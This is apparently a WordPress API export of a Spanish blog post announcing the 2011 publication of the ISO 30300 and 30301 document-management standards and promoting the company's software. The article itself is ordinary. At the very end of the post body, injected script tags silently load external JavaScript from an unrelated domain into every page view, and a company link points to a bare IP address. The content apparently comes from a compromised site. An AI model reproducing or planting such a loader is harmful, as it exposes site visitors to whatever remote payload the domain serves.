{"id":641,"date":"2011-11-28T12:26:20","date_gmt":"2011-11-28T10:26:20","guid":{"rendered":"http:\/\/www.blocument.com\/?p=641"},"modified":"2026-03-20T06:23:19","modified_gmt":"2026-03-20T11:23:19","slug":"ya-esta-aqui-la-norma-iso-30300-sistema-de-gestion-para-los-documentos","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/ya-esta-aqui-la-norma-iso-30300-sistema-de-gestion-para-los-documentos\/","title":{"rendered":"Ya est\u00e1 aqu\u00ed la norma ISO 30300: Sistema de Gesti\u00f3n para los Documentos"},"content":{"rendered":"<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/11\/f40_110307_145805.gif\"><img loading=\"lazy\" class=\"size-full wp-image-643 alignleft\" title=\"ISO 30300\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/11\/f40_110307_145805.gif\" alt=\"ISO 30300\" width=\"193\" height=\"185\" \/><\/a>Tras un proceso laborioso y complejo el pasado <strong>9 de noviembre de 2011 <\/strong>se publicaron oficialmente las normas <strong>ISO 30300<\/strong> e <strong>ISO 30301<\/strong> en sus versiones inglesa y francesa. Por su parte, en Espa\u00f1a, el BOE anunci\u00f3 la publicaci\u00f3n en AENOR de las versiones FDIS de ambos documentos el pasado 27 de octubre en su traducci\u00f3n al espa\u00f1ol. La publicaci\u00f3n se ha producido con cierto retraso respecto de las previsiones que comentamos en un <a href=\"https:\/\/www.adapting.com\/index.php\/2011\/03\/07\/norma-iso-30300-de-gestion-documental\/\" target=\"_self\" rel=\"noopener\">post anterior<\/a>, pero lo importante es que ya est\u00e1n aqu\u00ed.<\/p>\n<p>La norma ISO 30300 empez\u00f3 su andadura en 2007 a instancias del subcomit\u00e9 espa\u00f1ol CTN50\/SC1 de AENOR \u201cGesti\u00f3n de documentos y aplicaciones\u201d, durante la revisi\u00f3n de la norma ISO 15489 sobre gesti\u00f3n de documentos, <strong>subcomit\u00e9 en el que participa<\/strong> <strong>Adapting, en calidad de empresa especializada en software de gesti\u00f3n documental.<\/strong><\/p>\n<p>La ISO 30300\u00a0est\u00e1 enfocada a unificar los fundamentos y el vocabulario para toda la gesti\u00f3n de documentos. El objetivo es que las organizaciones y empresas y utilicen un vocabulario com\u00fan para la gesti\u00f3n de sus informaciones. Con esta medida se persigue una forma com\u00fan de organizaci\u00f3n y un acuerdo para mejorar la comunicaci\u00f3n sobre aspectos documentales.<\/p>\n<p>La segunda norma, la <strong>ISO 30301<\/strong>, regula espec\u00edficamente los requisitos de los sistemas de gesti\u00f3n de documentos de archivo, tambi\u00e9n denominados \u201crecords\u201d o evidencias. Esta norma define requisitos comunes a la hora de crear, almacenar, proteger y destruir cualquier documento de archivo. Se trata de una norma, basada en la universalmente aceptada ISO 15489 que persigue la estandarizaci\u00f3n en el tratamiento de los documentos, a lo largo de su ciclo integral de vida.<\/p>\n<p>La Organizaci\u00f3n Internacional de Normalizaci\u00f3n (ISO) ha otorgado el rango de \u201cNormas de Sistemas de Gesti\u00f3n\u201d \u00f3 \u201c<em>Management System Standards<\/em>\u201d a estas dos normas para que est\u00e9n en consonancia con otros est\u00e1ndares com\u00fanmente aceptados, como la <strong>ISO 9001<\/strong> (gesti\u00f3n de la calidad), <strong>ISO\u00a0 14001<\/strong> (gesti\u00f3n medioambiental) e <strong>ISO\/IEC 27001<\/strong> (gesti\u00f3n de la seguridad de la informaci\u00f3n). Se trata, por tanto, de un impulso significativo para mejorar y estandarizar la gesti\u00f3n empresarial, ampliando las competencias ya establecidas.<\/p>\n<p>La implementaci\u00f3n de la serie normativa ISO 30300 ayudar\u00e1 a las organizaciones a ajustar su gesti\u00f3n documental a los objetivos de otros sistemas de gesti\u00f3n como el de calidad, medio ambiente, riesgos y seguridad. Adicionalmente, permitir\u00e1 a los <strong>organismos acreditados<\/strong> auditar el cumplimiento de las buenas pr\u00e1cticas en materia de gesti\u00f3n documental.<\/p>\n<ul>\n<li><strong>Eliminar redundancias<\/strong><\/li>\n<li><strong>Mejorar la toma de decisiones<\/strong><\/li>\n<li><strong>Establecer coherencia<\/strong><\/li>\n<li><strong>Apoyar el cumplimiento de requisitos, y<\/strong><\/li>\n<li><strong>Optimizar procesos y recursos<\/strong><\/li>\n<\/ul>\n<p><a href=\"https:\/\/149.56.148.186\" target=\"_blank\" rel=\"noopener\"><strong>Adapting<\/strong> <\/a>participa en los comit\u00e9s t\u00e9cnicos de normalizaci\u00f3n donde se definen y dise\u00f1an los est\u00e1ndares ISO 30300 e ISO 30301. Nuestro inter\u00e9s, adem\u00e1s de aportar nuestra experiencia de 12 a\u00f1os en el \u00e1mbito de los sistemas de informaci\u00f3n para la gesti\u00f3n documental, es dotar a nuestra plataforma <a href=\"http:\/\/www.gestiondocumental.biz\" target=\"_blank\" rel=\"noopener\" class=\"broken_link\"><strong><span style=\"color: #808080;\">abox <\/span><\/strong><span style=\"color: #00ccff;\">document <\/span><\/a>de la orientaci\u00f3n y funcionalidad para permitir, no s\u00f3lo hacer realidad el concepto de \u201cOficina sin papeles\u201d, sino tambi\u00e9n cumplir las normas nacionales e internacionales sobre el manejo profesional de la documentaci\u00f3n y la informaci\u00f3n.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script 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